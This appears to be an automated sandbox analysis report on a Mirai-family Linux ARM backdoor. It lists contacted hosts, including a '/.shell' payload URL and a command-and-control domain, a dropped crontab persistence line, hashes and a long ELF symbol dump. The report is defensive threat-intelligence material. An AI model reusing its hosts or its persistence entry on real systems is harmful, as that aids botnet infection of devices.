        Security Software Discovery        		Remote ServicesData from Local System1
        Encrypted Channel        		Exfiltration Over Other Network MediumAbuse Accessibility Features
        CredentialsDomainsDefault Accounts1
        Scheduled Task/Job        		1
        Scripting        		Boot or Logon Initialization ScriptsRootkitLSASS Memory1
        File and Directory Discovery        		Remote Desktop ProtocolData from Removable Media2
        Non-Application Layer Protocol        		Exfiltration Over BluetoothNetwork Denial of Service
        Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive3
        Application Layer Protocol        		Automated ExfiltrationData Encrypted for Impact
        Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin HookBinary PaddingNTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput Capture1
        Ingress Tool Transfer        		Traffic DuplicationData Destruction

        Malware Configuration

        ⊘No configs have been found

        Behavior Graph

        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Number of created Files
        • Is malicious
        • Internet
        behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1547944 Sample: doQQmLpWCXK3TF48O7pZ2ayjzBZ... Startdate: 03/11/2024 Architecture: LINUX Score: 84 31 216.126.231.240, 34730, 443, 46696 ANYNODEUS United States 2->31 33 conn.masjesu.zip 2->33 35 Multi AV Scanner detection for submitted file 2->35 37 Yara detected Mirai 2->37 39 Contains symbols with names commonly found in malware 2->39 9 doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf 2->9         started        signatures3 process4 process5 11 doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf 9->11         started        13 doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf 9->13         started        process6 15 doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf sh 11->15         started        17 doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf sh 11->17         started        19 doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf 13->19         started        21 doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf 13->21         started        process7 23 sh crontab 15->23         started        27 sh crontab 17->27         started        file8 29 /var/spool/cron/crontabs/tmp.iyTtfq, ASCII 23->29 dropped 41 Sample tries to persist itself using cron 23->41 43 Executes the "crontab" command typically for achieving persistence 23->43 signatures9

        Antivirus, Machine Learning and Genetic Malware Detection

        Initial Sample

        SourceDetectionScannerLabelLink
        doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf50%ReversingLabsLinux.Backdoor.Mirai

        Dropped Files

        ⊘No Antivirus matches

        Domains

        ⊘No Antivirus matches

        URLs

        SourceDetectionScannerLabelLink
        http://schemas.xmlsoap.org/soap/encoding/0%URL Reputationsafe
        http://schemas.xmlsoap.org/soap/envelope/0%URL Reputationsafe

        Domains and IPs

        Download Network PCAP: filtered – full

        Contacted Domains

        NameIPActiveMaliciousAntivirus DetectionReputation
        conn.masjesu.zip
        		87.120.84.230
        		truefalse
          		unknown

          Contacted URLs

          NameMaliciousAntivirus DetectionReputation
          http://216.126.231.240/.shellfalse
            		unknown
            NameSourceMaliciousAntivirus DetectionReputation
            http://schemas.xmlsoap.org/soap/encoding/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elffalse
            • URL Reputation: safe
            		unknown
            http://purenetworks.com/HNAP1/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elffalse
              		unknown
              http://schemas.xmlsoap.org/soap/envelope/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elffalse
              • URL Reputation: safe
              		unknown

              World Map of Contacted IPs

              • No. of IPs < 25%
              • 25% < No. of IPs < 50%
              • 50% < No. of IPs < 75%
              • 75% < No. of IPs

              Public IPs

              IPDomainCountryFlagASNASN NameMalicious
              216.126.231.240
              		unknownUnited States
              		20150ANYNODEUSfalse

              Joe Sandbox View / Context

              IPs

              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
              216.126.231.240wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfGet hashmaliciousMiraiBrowse
              • 216.126.231.240/.shell
              m1TuocfCMhon01ZDYjxrTEWsmYdVD8FZ4k.elfGet hashmaliciousMiraiBrowse
              • 216.126.231.240/.shell
              Dqq4ar4kvW6h1hNPHQtQWcKevZo4vyLFys.elfGet hashmaliciousMiraiBrowse
              • 216.126.231.240/.shell
              CP0BHTY83T9LhjWEQcsk2nqqVKWqC0ETyy.elfGet hashmaliciousMiraiBrowse
              • 216.126.231.240/.shell
              UN3K7t8FSaJMuAeg0Kx8wIw1wnRivUhO66.elfGet hashmaliciousMiraiBrowse
              • 216.126.231.240/.shell
              dgPyLAhSteugJsfrMjYFblK9cdEDHSwa5U.elfGet hashmaliciousMiraiBrowse
              • 216.126.231.240/.shell
              k86m.elfGet hashmaliciousMiraiBrowse
              • 216.126.231.240/.shell
              686i.elfGet hashmaliciousMiraiBrowse
              • 216.126.231.240/.shell
              lespim.elfGet hashmaliciousMiraiBrowse
              • 216.126.231.240/.shell

              Domains

              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
              conn.masjesu.zipwsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfGet hashmaliciousMiraiBrowse
              • 216.126.231.240
              m1TuocfCMhon01ZDYjxrTEWsmYdVD8FZ4k.elfGet hashmaliciousMiraiBrowse
              • 216.126.231.240
              k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elfGet hashmaliciousMiraiBrowse
              • 216.126.231.240
              Dqq4ar4kvW6h1hNPHQtQWcKevZo4vyLFys.elfGet hashmaliciousMiraiBrowse
              • 87.120.84.230
              CP0BHTY83T9LhjWEQcsk2nqqVKWqC0ETyy.elfGet hashmaliciousMiraiBrowse
              • 87.120.84.230
              E6YB1KcrN7wzwnBqPdocv7WXvnyB5TROSX.elfGet hashmaliciousMiraiBrowse
              • 216.126.231.240
              UN3K7t8FSaJMuAeg0Kx8wIw1wnRivUhO66.elfGet hashmaliciousMiraiBrowse
              • 87.120.84.230
              dgPyLAhSteugJsfrMjYFblK9cdEDHSwa5U.elfGet hashmaliciousMiraiBrowse
              • 87.120.84.230
              k86m.elfGet hashmaliciousMiraiBrowse
              • 216.126.231.240
              686i.elfGet hashmaliciousMiraiBrowse
              • 216.126.231.240

              ASNs

              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
              ANYNODEUSwsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfGet hashmaliciousMiraiBrowse
              • 216.126.231.240
              m1TuocfCMhon01ZDYjxrTEWsmYdVD8FZ4k.elfGet hashmaliciousMiraiBrowse
              • 216.126.231.240
              Dqq4ar4kvW6h1hNPHQtQWcKevZo4vyLFys.elfGet hashmaliciousMiraiBrowse
              • 216.126.231.240
              CP0BHTY83T9LhjWEQcsk2nqqVKWqC0ETyy.elfGet hashmaliciousMiraiBrowse
              • 216.126.231.240
              UN3K7t8FSaJMuAeg0Kx8wIw1wnRivUhO66.elfGet hashmaliciousMiraiBrowse
              • 216.126.231.240
              dgPyLAhSteugJsfrMjYFblK9cdEDHSwa5U.elfGet hashmaliciousMiraiBrowse
              • 216.126.231.240
              k86m.elfGet hashmaliciousMiraiBrowse
              • 216.126.231.240
              686i.elfGet hashmaliciousMiraiBrowse
              • 216.126.231.240
              lespim.elfGet hashmaliciousMiraiBrowse
              • 216.126.231.240
              na.elfGet hashmaliciousUnknownBrowse
              • 158.51.124.230

              JA3 Fingerprints

              ⊘No context

              Dropped Files

              ⊘No context

              Created / dropped Files

              Process:/tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf
              File Type:data
              Category:dropped
              Size (bytes):44
              Entropy (8bit):5.078638720860854
              Encrypted:false
              SSDEEP:3:Tg80x2mMWlRt/XFfnP6OAJ5:Tg8VmXLt/XFfnDG
              MD5:8CCC0E2710B5D9C88C31752B49D97BBB
              SHA1:0B9D93A7DDA5A0DF858B5927E216D7D1897E4693
              SHA-256:B93ED2A7A80A411B64D7C017E7663E18E2AA0AEDFDB4A68079F1118D5737FCF4
              SHA-512:A3510C0149D3B53C6238D8C3D29A89E68F22D1D71B43C626282E07A5F0539E26F03B480DF5EC94E2BCBEBF5F59C9FCC263A3014FFE4C660EDB5149C2ADD8BC42
              Malicious:false
              Reputation:low
              Preview:/tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf.
              Process:/usr/bin/crontab
              File Type:ASCII text
              Category:dropped
              Size (bytes):210
              Entropy (8bit):5.11432890193937
              Encrypted:false
              SSDEEP:6:SUrpqoqQjEOP1KmREJOBFQ334kaZHGMQ5UYLtCFt3eQTbHvn:8QjHig8334HeHLUeQTbHv
              MD5:EF054EB21642536FB3ADC3FD1F24C357
              SHA1:F46325F03F90BC6F27EDD77DB6FB2B6A90513269
              SHA-256:9EFB6B6FB60417352760CA983B7B61DFD1452809F18BBA85AA35B77533B63659
              SHA-512:DA043ECF74D2A413EB403A8A19307DA5A5CF4E9A61A97A4DD0F366E67B2BD705AA6729194B9FE41942959D5CCAF28E1457DA7DFF8B82102B85DDFEF0A48FB85B
              Malicious:true
              Reputation:low
              Preview:# DO NOT EDIT THIS FILE - edit the master and reinstall..# (- installed on Sun Nov 3 06:54:36 2024).# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $).*/15 * * * * /usr/lib/ld-unix.so.2.

              Static File Info

              General

              File type:ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, with debug_info, not stripped
              Entropy (8bit):6.002288574244446
              TrID:
              • ELF Executable and Linkable format (generic) (4004/1) 100.00%
              File name:doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf
              File size:122'566 bytes
              MD5:1b166b95f9cb4b079ef1b9ec8363ddf3
              SHA1:0d8eb08add467b3b5474f9b25909297fe7c2839c
              SHA256:94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
              SHA512:983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
              SSDEEP:3072:lbeGHulXta3Yz+u6b/tDrHvIAJ9GjOHSHm8RiQztBJk9zEp:Re3ODtDbvIg9Gj7Hm8RiQztB+9zEp
              TLSH:B5C31A45FD50476BC2D23BFBFB9A438D37395B54A7CB33116E285EB42B82B881E29111
              File Content Preview:.ELF...a..........(.........4....i......4. ...(.....................pO..pO...............P...P...P......l*..........Q.td..................................-...L."....F..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

              Static ELF Info

              ELF header

              Class:ELF32
              Data:2's complement, little endian
              Version:1 (current)
              Machine:ARM
              Version Number:0x1
              Type:EXEC (Executable file)
              OS/ABI:ARM - ABI
              ABI Version:0
              Entry Point Address:0x8190
              Flags:0x2
              ELF Header Size:52
              Program Header Offset:52
              Program Header Size:32
              Number of Program Headers:3
              Section Header Offset:92424
              Section Header Size:40
              Number of Section Headers:20
              Header String Table Index:17

              Sections

              NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
              NULL0x00x00x00x00x0000
              .initPROGBITS0x80940x940x180x00x6AX004
              .textPROGBITS0x80b00xb00x11b100x00x6AX0016
              .finiPROGBITS0x19bc00x11bc00x140x00x6AX004
              .rodataPROGBITS0x19bd40x11bd40x33980x00x2A004
              .eh_framePROGBITS0x1cf6c0x14f6c0x40x00x2A004
              .ctorsPROGBITS0x250000x150000x80x00x3WA004
              .dtorsPROGBITS0x250080x150080x80x00x3WA004
              .jcrPROGBITS0x250100x150100x40x00x3WA004
              .dataPROGBITS0x250140x150140x4080x00x3WA004
              .bssNOBITS0x2541c0x1541c0x26500x00x3WA004
              .commentPROGBITS0x00x1541c0xcac0x00x0001
              .debug_arangesPROGBITS0x00x160c80xa00x00x0008
              .debug_infoPROGBITS0x00x161680x30c0x00x0001
              .debug_abbrevPROGBITS0x00x164740x640x00x0001
              .debug_linePROGBITS0x00x164d80x2e70x00x0001
              .debug_framePROGBITS0x00x167c00xa00x00x0004
              .shstrtabSTRTAB0x00x168600xa80x00x0001
              .symtabSYMTAB0x00x16c280x4bd00x100x0196934
              .strtabSTRTAB0x00x1b7f80x26ce0x00x0001

              Program Segments

              TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
              LOAD0x00x80000x80000x14f700x14f706.15670x5R E0x8000.init .text .fini .rodata .eh_frame
              LOAD0x150000x250000x250000x41c0x2a6c2.56850x6RW 0x8000.ctors .dtors .jcr .data .bss
              GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

              Symbols

              NameVersion Info NameVersion Info File NameSection NameValueSizeSymbol TypeSymbol BindSymbol VisibilityNdx
              .symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
              .symtab0x80940SECTION<unknown>DEFAULT1
              .symtab0x80b00SECTION<unknown>DEFAULT2
              .symtab0x19bc00SECTION<unknown>DEFAULT3
              .symtab0x19bd40SECTION<unknown>DEFAULT4
              .symtab0x1cf6c0SECTION<unknown>DEFAULT5
              .symtab0x250000SECTION<unknown>DEFAULT6
              .symtab0x250080SECTION<unknown>DEFAULT7
              .symtab0x250100SECTION<unknown>DEFAULT8
              .symtab0x250140SECTION<unknown>DEFAULT9
              .symtab0x2541c0SECTION<unknown>DEFAULT10
              .symtab0x00SECTION<unknown>DEFAULT11
              .symtab0x00SECTION<unknown>DEFAULT12
              .symtab0x00SECTION<unknown>DEFAULT13
              .symtab0x00SECTION<unknown>DEFAULT14
              .symtab0x00SECTION<unknown>DEFAULT15
              .symtab0x00SECTION<unknown>DEFAULT16
              .symtab0x00SECTION<unknown>DEFAULT17
              .symtab0x00SECTION<unknown>DEFAULT18
              .symtab0x00SECTION<unknown>DEFAULT19
              $a.symtab0x80940NOTYPE<unknown>DEFAULT1
              $a.symtab0x19bc00NOTYPE<unknown>DEFAULT3
              $a.symtab0x80b00NOTYPE<unknown>DEFAULT2
              $a.symtab0x81280NOTYPE<unknown>DEFAULT2
              $a.symtab0x19bcc0NOTYPE<unknown>DEFAULT3
              $a.symtab0x81880NOTYPE<unknown>DEFAULT2
              $a.symtab0x80a00NOTYPE<unknown>DEFAULT1
              $a.symtab0x19b840NOTYPE<unknown>DEFAULT2
              $a.symtab0x19bb80NOTYPE<unknown>DEFAULT2
              $a.symtab0x80a40NOTYPE<unknown>DEFAULT1
              $a.symtab0x80a80NOTYPE<unknown>DEFAULT1
              $a.symtab0x19bd00NOTYPE<unknown>DEFAULT3
              $a.symtab0x81900NOTYPE<unknown>DEFAULT2
              $a.symtab0x81cc0NOTYPE<unknown>DEFAULT2
              $a.symtab0x82b80NOTYPE<unknown>DEFAULT2
              $a.symtab0x83680NOTYPE<unknown>DEFAULT2
              $a.symtab0x84a80NOTYPE<unknown>DEFAULT2
              $a.symtab0x85f80NOTYPE<unknown>DEFAULT2
              $a.symtab0x864c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x86a00NOTYPE<unknown>DEFAULT2
              $a.symtab0x87140NOTYPE<unknown>DEFAULT2
              $a.symtab0x87b40NOTYPE<unknown>DEFAULT2
              $a.symtab0x881c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x8a180NOTYPE<unknown>DEFAULT2
              $a.symtab0x8b000NOTYPE<unknown>DEFAULT2
              $a.symtab0x8d800NOTYPE<unknown>DEFAULT2
              $a.symtab0x8e6c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x8fb80NOTYPE<unknown>DEFAULT2
              $a.symtab0x90a80NOTYPE<unknown>DEFAULT2
              $a.symtab0x91940NOTYPE<unknown>DEFAULT2
              $a.symtab0x92880NOTYPE<unknown>DEFAULT2
              $a.symtab0x93780NOTYPE<unknown>DEFAULT2
              $a.symtab0x94680NOTYPE<unknown>DEFAULT2
              $a.symtab0x95580NOTYPE<unknown>DEFAULT2
              $a.symtab0x96440NOTYPE<unknown>DEFAULT2
              $a.symtab0x97340NOTYPE<unknown>DEFAULT2
              $a.symtab0x98240NOTYPE<unknown>DEFAULT2
              $a.symtab0x99140NOTYPE<unknown>DEFAULT2
              $a.symtab0x9a040NOTYPE<unknown>DEFAULT2
              $a.symtab0x9af80NOTYPE<unknown>DEFAULT2
              $a.symtab0x9bd80NOTYPE<unknown>DEFAULT2
              $a.symtab0x9fd00NOTYPE<unknown>DEFAULT2
              $a.symtab0xa1100NOTYPE<unknown>DEFAULT2
              $a.symtab0xa1bc0NOTYPE<unknown>DEFAULT2
              $a.symtab0xa50c0NOTYPE<unknown>DEFAULT2
              $a.symtab0xa5f00NOTYPE<unknown>DEFAULT2
              $a.symtab0xa6700NOTYPE<unknown>DEFAULT2
              $a.symtab0xad3c0NOTYPE<unknown>DEFAULT2
              $a.symtab0xaed80NOTYPE<unknown>DEFAULT2
              $a.symtab0xb18c0NOTYPE<unknown>DEFAULT2
              $a.symtab0xb8880NOTYPE<unknown>DEFAULT2
              $a.symtab0xbfbc0NOTYPE<unknown>DEFAULT2
              $a.symtab0xd6c40NOTYPE<unknown>DEFAULT2
              $a.symtab0xe2800NOTYPE<unknown>DEFAULT2
              $a.symtab0xee3c0NOTYPE<unknown>DEFAULT2
              $a.symtab0xf9f80NOTYPE<unknown>DEFAULT2
              $a.symtab0x100600NOTYPE<unknown>DEFAULT2
              $a.symtab0x102140NOTYPE<unknown>DEFAULT2
              $a.symtab0x107c80NOTYPE<unknown>DEFAULT2
              $a.symtab0x109a40NOTYPE<unknown>DEFAULT2
              $a.symtab0x10d380NOTYPE<unknown>DEFAULT2
              $a.symtab0x10e040NOTYPE<unknown>DEFAULT2
              $a.symtab0x10ee80NOTYPE<unknown>DEFAULT2
              $a.symtab0x10eec0NOTYPE<unknown>DEFAULT2
              $a.symtab0x10f140NOTYPE<unknown>DEFAULT2
              $a.symtab0x10f400NOTYPE<unknown>DEFAULT2
              $a.symtab0x10f6c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x10fa00NOTYPE<unknown>DEFAULT2
              $a.symtab0x10fcc0NOTYPE<unknown>DEFAULT2
              $a.symtab0x10ff80NOTYPE<unknown>DEFAULT2
              $a.symtab0x110240NOTYPE<unknown>DEFAULT2
              $a.symtab0x110500NOTYPE<unknown>DEFAULT2
              $a.symtab0x1107c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x110a80NOTYPE<unknown>DEFAULT2
              $a.symtab0x110d40NOTYPE<unknown>DEFAULT2
              $a.symtab0x111000NOTYPE<unknown>DEFAULT2
              $a.symtab0x111380NOTYPE<unknown>DEFAULT2
              $a.symtab0x111640NOTYPE<unknown>DEFAULT2
              $a.symtab0x111980NOTYPE<unknown>DEFAULT2
              $a.symtab0x1124c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x113480NOTYPE<unknown>DEFAULT2
              $a.symtab0x114180NOTYPE<unknown>DEFAULT2
              $a.symtab0x114240NOTYPE<unknown>DEFAULT2
              $a.symtab0x114340NOTYPE<unknown>DEFAULT2
              $a.symtab0x115b40NOTYPE<unknown>DEFAULT2
              $a.symtab0x115c00NOTYPE<unknown>DEFAULT2
              $a.symtab0x116080NOTYPE<unknown>DEFAULT2
              $a.symtab0x116380NOTYPE<unknown>DEFAULT2
              $a.symtab0x116680NOTYPE<unknown>DEFAULT2
              $a.symtab0x1169c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x1174c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x1184c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x11a940NOTYPE<unknown>DEFAULT2
              $a.symtab0x11d8c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x11dfc0NOTYPE<unknown>DEFAULT2
              $a.symtab0x11e0c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x11ec40NOTYPE<unknown>DEFAULT2
              $a.symtab0x11ef40NOTYPE<unknown>DEFAULT2
              $a.symtab0x11fb00NOTYPE<unknown>DEFAULT2
              $a.symtab0x126740NOTYPE<unknown>DEFAULT2
              $a.symtab0x1270c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x127440NOTYPE<unknown>DEFAULT2
              $a.symtab0x128e00NOTYPE<unknown>DEFAULT2
              $a.symtab0x1292c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x12df00NOTYPE<unknown>DEFAULT2
              $a.symtab0x12e840NOTYPE<unknown>DEFAULT2
              $a.symtab0x12f100NOTYPE<unknown>DEFAULT2
              $a.symtab0x12fac0NOTYPE<unknown>DEFAULT2
              $a.symtab0x130ec0NOTYPE<unknown>DEFAULT2
              $a.symtab0x132d00NOTYPE<unknown>DEFAULT2
              $a.symtab0x133680NOTYPE<unknown>DEFAULT2
              $a.symtab0x1339c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x135180NOTYPE<unknown>DEFAULT2
              $a.symtab0x135d00NOTYPE<unknown>DEFAULT2
              $a.symtab0x135e00NOTYPE<unknown>DEFAULT2
              $a.symtab0x135f00NOTYPE<unknown>DEFAULT2
              $a.symtab0x136900NOTYPE<unknown>DEFAULT2
              $a.symtab0x136f00NOTYPE<unknown>DEFAULT2
              $a.symtab0x137180NOTYPE<unknown>DEFAULT2
              $a.symtab0x138200NOTYPE<unknown>DEFAULT2
              $a.symtab0x1383c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x138f40NOTYPE<unknown>DEFAULT2
              $a.symtab0x139d40NOTYPE<unknown>DEFAULT2
              $a.symtab0x13acc0NOTYPE<unknown>DEFAULT2
              $a.symtab0x13ae00NOTYPE<unknown>DEFAULT2
              $a.symtab0x13bc80NOTYPE<unknown>DEFAULT2
              $a.symtab0x13bd40NOTYPE<unknown>DEFAULT2
              $a.symtab0x13bf40NOTYPE<unknown>DEFAULT2
              $a.symtab0x13c600NOTYPE<unknown>DEFAULT2
              $a.symtab0x13cd00NOTYPE<unknown>DEFAULT2
              $a.symtab0x13fac0NOTYPE<unknown>DEFAULT2
              $a.symtab0x141100NOTYPE<unknown>DEFAULT2
              $a.symtab0x143700NOTYPE<unknown>DEFAULT2
              $a.symtab0x1445c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x144e80NOTYPE<unknown>DEFAULT2
              $a.symtab0x1450c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x145500NOTYPE<unknown>DEFAULT2
              $a.symtab0x148c40NOTYPE<unknown>DEFAULT2
              $a.symtab0x148f00NOTYPE<unknown>DEFAULT2
              $a.symtab0x1491c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x149480NOTYPE<unknown>DEFAULT2
              $a.symtab0x149740NOTYPE<unknown>DEFAULT2
              $a.symtab0x149a00NOTYPE<unknown>DEFAULT2
              $a.symtab0x149d40NOTYPE<unknown>DEFAULT2
              $a.symtab0x14a040NOTYPE<unknown>DEFAULT2
              $a.symtab0x14a300NOTYPE<unknown>DEFAULT2
              $a.symtab0x14ae80NOTYPE<unknown>DEFAULT2
              $a.symtab0x14b540NOTYPE<unknown>DEFAULT2
              $a.symtab0x14ca80NOTYPE<unknown>DEFAULT2
              $a.symtab0x14d000NOTYPE<unknown>DEFAULT2
              $a.symtab0x14df00NOTYPE<unknown>DEFAULT2
              $a.symtab0x14e840NOTYPE<unknown>DEFAULT2
              $a.symtab0x14fac0NOTYPE<unknown>DEFAULT2
              $a.symtab0x150f40NOTYPE<unknown>DEFAULT2
              $a.symtab0x150f80NOTYPE<unknown>DEFAULT2
              $a.symtab0x151740NOTYPE<unknown>DEFAULT2
              $a.symtab0x152000NOTYPE<unknown>DEFAULT2
              $a.symtab0x152980NOTYPE<unknown>DEFAULT2
              $a.symtab0x153140NOTYPE<unknown>DEFAULT2
              $a.symtab0x153d40NOTYPE<unknown>DEFAULT2
              $a.symtab0x154640NOTYPE<unknown>DEFAULT2
              $a.symtab0x155300NOTYPE<unknown>DEFAULT2
              $a.symtab0x155f80NOTYPE<unknown>DEFAULT2
              $a.symtab0x156040NOTYPE<unknown>DEFAULT2
              $a.symtab0x1560c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x157a40NOTYPE<unknown>DEFAULT2
              $a.symtab0x158380NOTYPE<unknown>DEFAULT2
              $a.symtab0x158cc0NOTYPE<unknown>DEFAULT2
              $a.symtab0x15a700NOTYPE<unknown>DEFAULT2
              $a.symtab0x15abc0NOTYPE<unknown>DEFAULT2
              $a.symtab0x15b280NOTYPE<unknown>DEFAULT2
              $a.symtab0x15b6c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x15bc80NOTYPE<unknown>DEFAULT2
              $a.symtab0x15e140NOTYPE<unknown>DEFAULT2
              $a.symtab0x15f000NOTYPE<unknown>DEFAULT2
              $a.symtab0x15f300NOTYPE<unknown>DEFAULT2
              $a.symtab0x15f380NOTYPE<unknown>DEFAULT2
              $a.symtab0x15fac0NOTYPE<unknown>DEFAULT2
              $a.symtab0x15ffc0NOTYPE<unknown>DEFAULT2
              $a.symtab0x160280NOTYPE<unknown>DEFAULT2
              $a.symtab0x160540NOTYPE<unknown>DEFAULT2
              $a.symtab0x160800NOTYPE<unknown>DEFAULT2
              $a.symtab0x160d00NOTYPE<unknown>DEFAULT2
              $a.symtab0x161640NOTYPE<unknown>DEFAULT2
              $a.symtab0x162c80NOTYPE<unknown>DEFAULT2
              $a.symtab0x162f40NOTYPE<unknown>DEFAULT2
              $a.symtab0x163200NOTYPE<unknown>DEFAULT2
              $a.symtab0x1634c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x163780NOTYPE<unknown>DEFAULT2
              $a.symtab0x163c80NOTYPE<unknown>DEFAULT2
              $a.symtab0x1642c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x164580NOTYPE<unknown>DEFAULT2
              $a.symtab0x164c40NOTYPE<unknown>DEFAULT2
              $a.symtab0x164f00NOTYPE<unknown>DEFAULT2
              $a.symtab0x165480NOTYPE<unknown>DEFAULT2
              $a.symtab0x1659c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x165a40NOTYPE<unknown>DEFAULT2
              $a.symtab0x169800NOTYPE<unknown>DEFAULT2
              $a.symtab0x1698c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x169dc0NOTYPE<unknown>DEFAULT2
              $a.symtab0x169fc0NOTYPE<unknown>DEFAULT2
              $a.symtab0x16ab80NOTYPE<unknown>DEFAULT2
              $a.symtab0x16af00NOTYPE<unknown>DEFAULT2
              $a.symtab0x16b4c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x16c080NOTYPE<unknown>DEFAULT2
              $a.symtab0x16d400NOTYPE<unknown>DEFAULT2
              $a.symtab0x16dfc0NOTYPE<unknown>DEFAULT2
              $a.symtab0x16f000NOTYPE<unknown>DEFAULT2
              $a.symtab0x16f700NOTYPE<unknown>DEFAULT2
              $a.symtab0x16fa40NOTYPE<unknown>DEFAULT2
              $a.symtab0x170f40NOTYPE<unknown>DEFAULT2
              $a.symtab0x175140NOTYPE<unknown>DEFAULT2
              $a.symtab0x1775c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x178900NOTYPE<unknown>DEFAULT2
              $a.symtab0x17d200NOTYPE<unknown>DEFAULT2
              $a.symtab0x17d300NOTYPE<unknown>DEFAULT2
              $a.symtab0x17e2c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x17e440NOTYPE<unknown>DEFAULT2
              $a.symtab0x17f300NOTYPE<unknown>DEFAULT2
              $a.symtab0x17fa40NOTYPE<unknown>DEFAULT2
              $a.symtab0x17fe40NOTYPE<unknown>DEFAULT2
              $a.symtab0x187f00NOTYPE<unknown>DEFAULT2
              $a.symtab0x18ac40NOTYPE<unknown>DEFAULT2
              $a.symtab0x18b0c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x18b240NOTYPE<unknown>DEFAULT2
              $a.symtab0x18b480NOTYPE<unknown>DEFAULT2
              $a.symtab0x18b840NOTYPE<unknown>DEFAULT2
              $a.symtab0x18ba00NOTYPE<unknown>DEFAULT2
              $a.symtab0x18bcc0NOTYPE<unknown>DEFAULT2
              $a.symtab0x18bf80NOTYPE<unknown>DEFAULT2
              $a.symtab0x18c240NOTYPE<unknown>DEFAULT2
              $a.symtab0x18c300NOTYPE<unknown>DEFAULT2
              $a.symtab0x18d600NOTYPE<unknown>DEFAULT2
              $a.symtab0x18e2c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x18e580NOTYPE<unknown>DEFAULT2
              $a.symtab0x18e900NOTYPE<unknown>DEFAULT2
              $a.symtab0x18eb00NOTYPE<unknown>DEFAULT2
              $a.symtab0x18f680NOTYPE<unknown>DEFAULT2
              $a.symtab0x190300NOTYPE<unknown>DEFAULT2
              $a.symtab0x190800NOTYPE<unknown>DEFAULT2
              $a.symtab0x190b00NOTYPE<unknown>DEFAULT2
              $a.symtab0x191980NOTYPE<unknown>DEFAULT2
              $a.symtab0x192500NOTYPE<unknown>DEFAULT2
              $a.symtab0x192ac0NOTYPE<unknown>DEFAULT2
              $a.symtab0x192c00NOTYPE<unknown>DEFAULT2
              $a.symtab0x1939c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x193d00NOTYPE<unknown>DEFAULT2
              $a.symtab0x196f80NOTYPE<unknown>DEFAULT2
              $a.symtab0x197740NOTYPE<unknown>DEFAULT2
              $a.symtab0x1981c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x198e80NOTYPE<unknown>DEFAULT2
              $a.symtab0x199340NOTYPE<unknown>DEFAULT2
              $a.symtab0x19a440NOTYPE<unknown>DEFAULT2
              $d.symtab0x250000NOTYPE<unknown>DEFAULT6
              $d.symtab0x250080NOTYPE<unknown>DEFAULT7
